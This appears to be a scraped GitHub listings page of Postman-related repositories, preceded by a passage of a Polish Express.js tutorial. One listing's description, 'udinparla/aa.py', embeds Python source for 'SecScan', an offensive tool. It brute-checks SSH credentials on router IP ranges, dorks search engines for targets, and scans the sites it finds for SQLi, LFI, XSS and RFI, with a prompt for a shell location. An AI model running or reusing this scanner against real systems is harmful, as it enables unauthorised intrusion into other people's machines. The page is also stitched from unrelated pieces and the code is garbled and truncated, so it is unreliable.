var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
matheus3t/covid19-status
covid, stat, status 		Aplicação usando React a consumindo a API do postman sobre o coronavírus 0 stars 0 watchers 0 forks

introduction (18 listings) (Back to Top)

bongohive-internship/introduction-to-rest-api-with-postman-Big-Zude
intern, internship, introduction, rest 		introduction-to-rest-api-with-postman-Big-Zude created by GitHub Classroom 1 stars 1 watchers 0 forks
cerqueiraedu/rent-a-movie
introduction, movie, test, testing 		Rent a Movie - an introduction on using Postman for testing REST APIs 0 stars 0 watchers 0 forks
alisonhall/postman-introduction
introduction 		0 stars 0 watchers 0 forks
bongohive-internship/introduction-to-rest-api-with-postman-alfeyo
intern, internship, introduction, rest 		introduction-to-rest-api-with-postman-alfeyo created by GitHub Classroom 0 stars 0 watchers 0 forks
bongohive-internship/introduction-to-rest-api-with-postman-DalitsoKasonde
intern, internship, introduction, rest 		introduction-to-rest-api-with-postman-DalitsoKasonde created by GitHub Classroom 0 stars 0 watchers 0 forks
bongohive-internship/introduction-to-rest-api-with-postman-geraldMaboshe
intern, internship, introduction, rest 		introduction-to-rest-api-with-postman-geraldMaboshe created by GitHub Classroom 0 stars 0 watchers 0 forks
bongohive-internship/introduction-to-rest-api-with-postman-jake1808
intern, internship, introduction, rest 		introduction-to-rest-api-with-postman-jake1808 created by GitHub Classroom 0 stars 0 watchers 0 forks
bongohive-internship/introduction-to-rest-api-with-postman-japhetmesa
intern, internship, introduction, rest 		introduction-to-rest-api-with-postman-japhetmesa created by GitHub Classroom 0 stars 0 watchers 0 forks
bongohive-internship/introduction-to-rest-api-with-postman-kamena1994
intern, internship, introduction, rest 		introduction-to-rest-api-with-postman-kamena1994 created by GitHub Classroom 0 stars 0 watchers 0 forks
bongohive-internship/introduction-to-rest-api-with-postman-Mambwe94
intern, internship, introduction, rest 		introduction-to-rest-api-with-postman-Mambwe94 created by GitHub Classroom 0 stars 0 watchers 0 forks
bongohive-internship/introduction-to-rest-api-with-postman-masudim
intern, internship, introduction, rest 		introduction-to-rest-api-with-postman-masudim created by GitHub Classroom 0 stars 0 watchers 0 forks
bongohive-internship/introduction-to-rest-api-with-postman-MathewsNyirongo
intern, internship, introduction, rest 		introduction-to-rest-api-with-postman-MathewsNyirongo created by GitHub Classroom 0 stars 0 watchers 0 forks
bongohive-internship/introduction-to-rest-api-with-postman-mcdee92
intern, internship, introduction, rest 		introduction-to-rest-api-with-postman-mcdee92 created by GitHub Classroom 0 stars 0 watchers 0 forks
bongohive-internship/introduction-to-rest-api-with-postman-Mulubwa17
intern, internship, introduction, rest 		introduction-to-rest-api-with-postman-Mulubwa17 created by GitHub Classroom 0 stars 0 watchers 0 forks
bongohive-internship/introduction-to-rest-api-with-postman-Nchimzy708
intern, internship, introduction, rest 		introduction-to-rest-api-with-postman-Nchimzy708 created by GitHub Classroom 0 stars 0 watchers 0 forks
bongohive-internship/introduction-to-rest-api-with-postman-stctheproducer
intern, internship, introduction, rest 		introduction-to-rest-api-with-postman-stctheproducer created by GitHub Classroom 0 stars 0 watchers 0 forks
hanshu/obix
introduction, verify 		oBIX introduction and how to verify these features via Postman 0 stars 0 watchers 0 forks
HaqueMannan/Introduction-To-HTTP
document, introduction 		A 25 page document providing an introduction to the HTTP protocol. Examples with Node.js, Express and Postman. 0 stars 0 watchers 0 forks

developers (17 listings) (Back to Top)

lfalck/AzureRestApiPostmanCollections
action, collection, collections, developer, developers, integration, system, systems 		Postman collections to simplify interaction with the Azure REST APIs, focusing on those relevant for systems integration developers. 16 stars 16 watchers 7 forks
thewheat/intercom-postman-collection
action, collection, developer, developers, extract, file, generate, http, reference, test, version 		A Postman Collection file for the Intercom API http://developers.intercom.com/reference Includes extraction code to generate the latest version 7 stars 7 watchers 7 forks
open-source-labs/Swell
developer, developers, development, enable, enables, endpoint, endpoints, including, served, source, streaming, technologies, test, tool 		Swell: API development tool that enables developers to test endpoints served over streaming technologies including Server-Sent Events (SSE), WebSockets, HTTP2, GraphQL, and gRPC. 0 stars 0 watchers 19 forks
alexandreelise/j4x-api-collection
attempt, beta, collection, developer, developers, joomla, official, postman collection, unofficial 		An attempt to help the Joomla! 4 early adopters mainly focused for developers. It's an unofficial postman collection of the official joomla4 beta API 3 stars 3 watchers 1 forks
OliverRC/Postman-WebApi-HelpDocumentation
developer, developers, endpoint, endpoints, import, imported 		Allows developers expose their MVC WebAPI endpoints so that they can be imported into postman 0 stars 0 watchers 3 forks
adineshreddy1/SupplyChainManagementIntoBlockchain
blockchain, chai, details, developer, developers, free, front end, location, require, stat, status, system, track, tracking 		A blockchain based system which records the temperature,location and other paramaters of a shipment/consignment during shipment. Depending upon our requirements for tracking the consignment , we can keep those details into blockchain such as location,status, time,temperature and others. Looking forward for the contribution from front end developers. Please feel free to ping me. 1 stars 1 watchers 0 forks
Ayushverma8/LoadTesting.withpostmanis.fun
collection, convert, developer, developers, test, testing, tool, tools 		Helping developers to convert Postman collection to Load testing tools. 0 stars 0 watchers 1 forks
eyzx7x/postman-osx-7.0.9
developer, developers, download, million 		#Get Postman Join 6 million developers and download the ONLY complete API Development Environment. 0 stars 0 watchers 1 forks
gsivaprabu/Postman-Fundamentals
automat, automate, automated, course, developer, developers, document, fundamentals, issue, million, test, tests 		Postman is used by over 3 million developers across the world. This course will show you the fundamentals of Postman, how you can issue requests, create automated API tests, and even document your API with Postman. 0 stars 0 watchers 1 forks
jeffchasin/postman-collection-integration
collection, developer, developers, integration 		*PLEASE SEE NOTES BELOW* A Postman collection for developers working with Launch, by Adobe 0 stars 0 watchers 1 forks
abankar1/Developers-Community
application, bank, developer, developers, knowledge, seek, unit 		An application to help developers seek help and share knowledge to other developers. Built using React with Redux, Node.js, MongoDb Atlas, JWT, Mongoose and Postman. [In Progress] 0 stars 0 watchers 0 forks
ANVESH96/Developers-Community
application, developer, developers, form, knowledge, platform, progress, unit 		Community platform application for developers to share their knowledge and get help from other developers.Built using React with Redux, Nodejs ,MongoDb Atlas, JWT, Mongoose and POSTMAN. (In progress) 0 stars 0 watchers 0 forks
coenmooij/devpool-api
developer, developers, list, tool 		Devpool tool to list developers 0 stars 0 watchers 0 forks
karbonhq/karbon-api-reference
access, developer, developers, file, files, reference 		Access to Postman files and other items to make accessing the API easier for our developers. 0 stars 0 watchers 0 forks
momo112/devconnector
communicate, developer, developers, frontend, network, networking, site, stat, test, tested 		Social networking site to allow developers to connect, communicate and organize meetups. Based on the MERN stack (MongoDB, Express.js, React.js, and Node.js). Validated and tested APIs with postman. Used React for the frontend and Redux to manage the states. 0 stars 0 watchers 0 forks
TuBanquero/utils
developer, developers, development, document, documentation, util, utils 		Utilities that can be used by other developers to improve development time (git, postman, documentation, etc) 0 stars 0 watchers 0 forks
VPihalov/Social-network
auth, authentication, developer, developers, file, files, forum, implementation, implementations, includes, network, posts, profile, profiles, social 		It is a social network app for developers that includes authentication, profiles, forum posts. App is based on MERN stack (MongoDB, Mongoose, React, Redux, Nodejs, Express). Main implementations are React Hooks, Redux, Postman, Bcrypt, Heroku, Git flow 0 stars 0 watchers 0 forks

training (17 listings) (Back to Top)

Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
choas/SAP-Leonardo-Machine-Learning-Postman-Collection
class, collection, image, model, models, training 		A Postman collection for SAP Leonardo Machine Learning for retraining image classification models. 0 stars 0 watchers 1 forks
flascelles/synthetic-API-traffic-generation
collection, collections, general, generate, generation, model, models, postman collection, postman collections, script, scripts, traffic, training 		scripts and postman collections to generate synthetic api traffic for training ML models and general purposes 0 stars 0 watchers 0 forks
Wolox/postman-training-rails
description, rails, script, training 		No description available. 0 stars 0 watchers 0 forks
amazpyel/udemy_postman
training, udemy 		Postman training 0 stars 0 watchers 0 forks
andubiel/postman_training
ember, training 		Postman Training November 7th 0 stars 0 watchers 0 forks
EmilyTReaves/PostmanTests
test, tests, training 		A simple Collection of tests I've written in Postman for training purposes 0 stars 0 watchers 0 forks
JeevanKapaganty/cgi-trello-postman
codes, training, trello 		We are deployed Postman training codes 0 stars 0 watchers 0 forks
JeffatTELUS/postmancourse
course, coursework, training 		coursework for Postman training 0 stars 0 watchers 0 forks
june97y/training001_mission002
application, content, endpoint, endpoints, json, training, type, verify 		Create CRUD endpoints that return in content type "application/json", verify the CRUD endpoints using Postman. 0 stars 0 watchers 0 forks
majdbk/JAVA-EE-Women-Empowerment-Plateform
development, form, news, sessions, social, training, user, users 		Design / Backend development of the Women empowerment plateform, a social news plateform where users can manage and participate in training sessions and give their feedback. Tools: Java/JEE, JBOSS/Wildfly, PostgreSQL, Postman, Apache Maven, Hibernate ORM 0 stars 0 watchers 0 forks
mszpiler/postman-soapui-training
soap, soapui, training 		Training for Quality Engineers - Postman, SoapUI, JMeter 0 stars 0 watchers 0 forks
neelkanthdaffodil/elasticsearch_training
elastic, elasticsearch, search, training 		Postman APIs used in the Elasticsearch training 0 stars 0 watchers 0 forks
rproenza86/the-mongo-db
framework, mongo, published, training 		Mongodb training. RESTful API using Hapi framework published online. 0 stars 0 watchers 0 forks
selva-oscura/newman-postman-training-wheels
newman, training 		Playing a bit with Postman, Newman, and Jenkins 0 stars 0 watchers 0 forks
sspreckley/postman-training
training 		Postman training 0 stars 0 watchers 0 forks
Thiago18l/PROJETO-Express
insomnia, training 		NodeJS Express training with postman, insomnia... 0 stars 0 watchers 0 forks

integrate (17 listings) (Back to Top)

AlbertLabarento/postman-collection-generator
bare, collection, function, functional, generator, integrate, integrated, package, test, tests 		Postman collection generator for your api's. Best used for your functional tests integrated with this package. 4 stars 4 watchers 3 forks
flickerbox/hubb-api-collection
collection, environment, integrate, variable, variables 		Postman collection and environment variables to integrate with the API at hubb.me 4 stars 4 watchers 0 forks
HilscherAutomation/netFIELD-postman
file, files, integrate 		These JSON files allow the use of Postman to easily integrate the API's offered in netFIELD.io into your code. 1 stars 1 watchers 0 forks
cpvariyani/identityserver4-in-net-core-to-secure-public-microservice
client, demonstrate, entity, example, grant, integrate, integrated, microservice, microservices, package, packages, public, sample, secure, server, service, services, test, tested, type, video 		This is a practical example to demonstrate how to secure public microservices in .Net core using Identity server 4. In this video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. A practical example of How to create Identity server in .net core for grant type to client credentials. nuget packages for identity server are 2 IdentityServer4 and IdentityServer4.EntityFramework. and for microservice 1 nuget packages needs to be added Microsoft.AspNetCore.Authentication.JwtBearer 1 stars 1 watchers 0 forks
nathan-hega/slack-bots
command, commands, integrate, integrates, server, slack 		A Node.js / Express server that integrates with Slack slash commands. 1 stars 1 watchers 0 forks
Akanksha461/API-Testing-Framework
continuous, framework, integrate, integrated, integration, test, testing 		Api testing framework using postman BDD and integrated with Jenkins for CI(continuous integration) 0 stars 0 watchers 1 forks
jannemann/postman-ci
favorite, integrate, newman, node, tool, tools 		node.js cli tools to integrate postman and newman with your favorite CI 0 stars 0 watchers 1 forks
venicegeo/pztest-integration
integrate, integrated, integration, test, tests 		Unit and integrated tests from Postman Collections 0 stars 0 watchers 1 forks
karthick-git/concourceCI-newman-slack
automat, automatic, automation, continuous, course, framework, image, integrate, integrated, newman, report, reporting, slack, test, testing, tool 		This is an API automation framework built using Postman's Newman CLI (Docker image) integrated with Concourse (a CI tool) for continuous testing and automatic slack reporting feature. 0 stars 0 watchers 0 forks
SalahEddine007/mern_devconnector
action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow 		Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. 0 stars 0 watchers 0 forks
AlwarKrish/Node_TODO-Api
application, demonstrating, integrate, integrates, integration, list, lists, mongo, mongod, mongodb, rating, test, tested, todo, user, users 		A simple application that integrates todo lists with users demonstrating mongodb integration with Node.js. The application was tested using postman. 0 stars 0 watchers 0 forks
guys1444/node.js-socialNetwork
action, backend, component, components, container, elegant, endpoint, endpoints, extension, frontend, integrate, node, rating, resource, resources, route, routes, social, source, stat, test, testing, workflow 		socialNetwork that ive made in node.js Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension ,MERN STACK 0 stars 0 watchers 0 forks
roicoroy/ionic4-plugin-push
chai, integrate, integrated, ionic, message, plugin, push, send 		ionic 4 plugin push integrated with Firebase fcm, able to send a chain message from postman 0 stars 0 watchers 0 forks
avinash24p/Postman-SqlClient
api blueprint, asyncapi, client, integrate, json schema, oauth, openid, single, sql 		Node App to integrate Postman like app and sql client in a single page app 0 stars 0 watchers 0 forks
birish87/ppgService
api blueprint, asyncapi, boot, integrate, iris, json schema, oauth, openid, postgres, postgresql, rest, rest service, service, spring, springboot, sql 		simple springboot, rest service whereby we can integrate postman with our postgresql db. 0 stars 0 watchers 0 forks
cpvariyani/identity-server-4-policy-based-authorization-.netcore
admin, auth, authorization, demonstrate, enable, enabled, entity, example, http, https, integrate, integrated, microservice, microservices, public, role, sample, secure, server, server., service, services, spec, test, tested, user, users, video, youtube 		Identity Server 4 Role-based Authorization in .Net Core 2 Microservice, In this video, we have enabled the role based authorization using the Identity server. we have created 2 users admin and user and created the respective policy in microservices. In part 1, we have seen how to secure the public microservice, in this part, we have demonstrated how we can implement role-based authorization in Identity server 4 and .Net core. Creation of Identity Server4 in .Net core to secure public microservices with a practical example is explained here. In the part 1 of video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. Part 1 Create Identity Server 4 in .net core to secure Public microservices https://www.youtube.com/watch?v=LVYEq... Part 2 Identity Server 4 Role Based Authorization in .Net Core 2 Microservice 0 stars 0 watchers 0 forks
saimatsumoto/postman-newman-jenkins
future, integrate, jenkins, newman, order, test, tests 		Testing to run postman API tests with Newman in order to integrate with Jenkins in the future 0 stars 0 watchers 0 forks

class (17 listings) (Back to Top)

dzvlfi/Rest-API-Random-Forest
class, credit, random, rest 		REST-API for credit scoring with random forest classifier 4 stars 4 watchers 1 forks
udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder 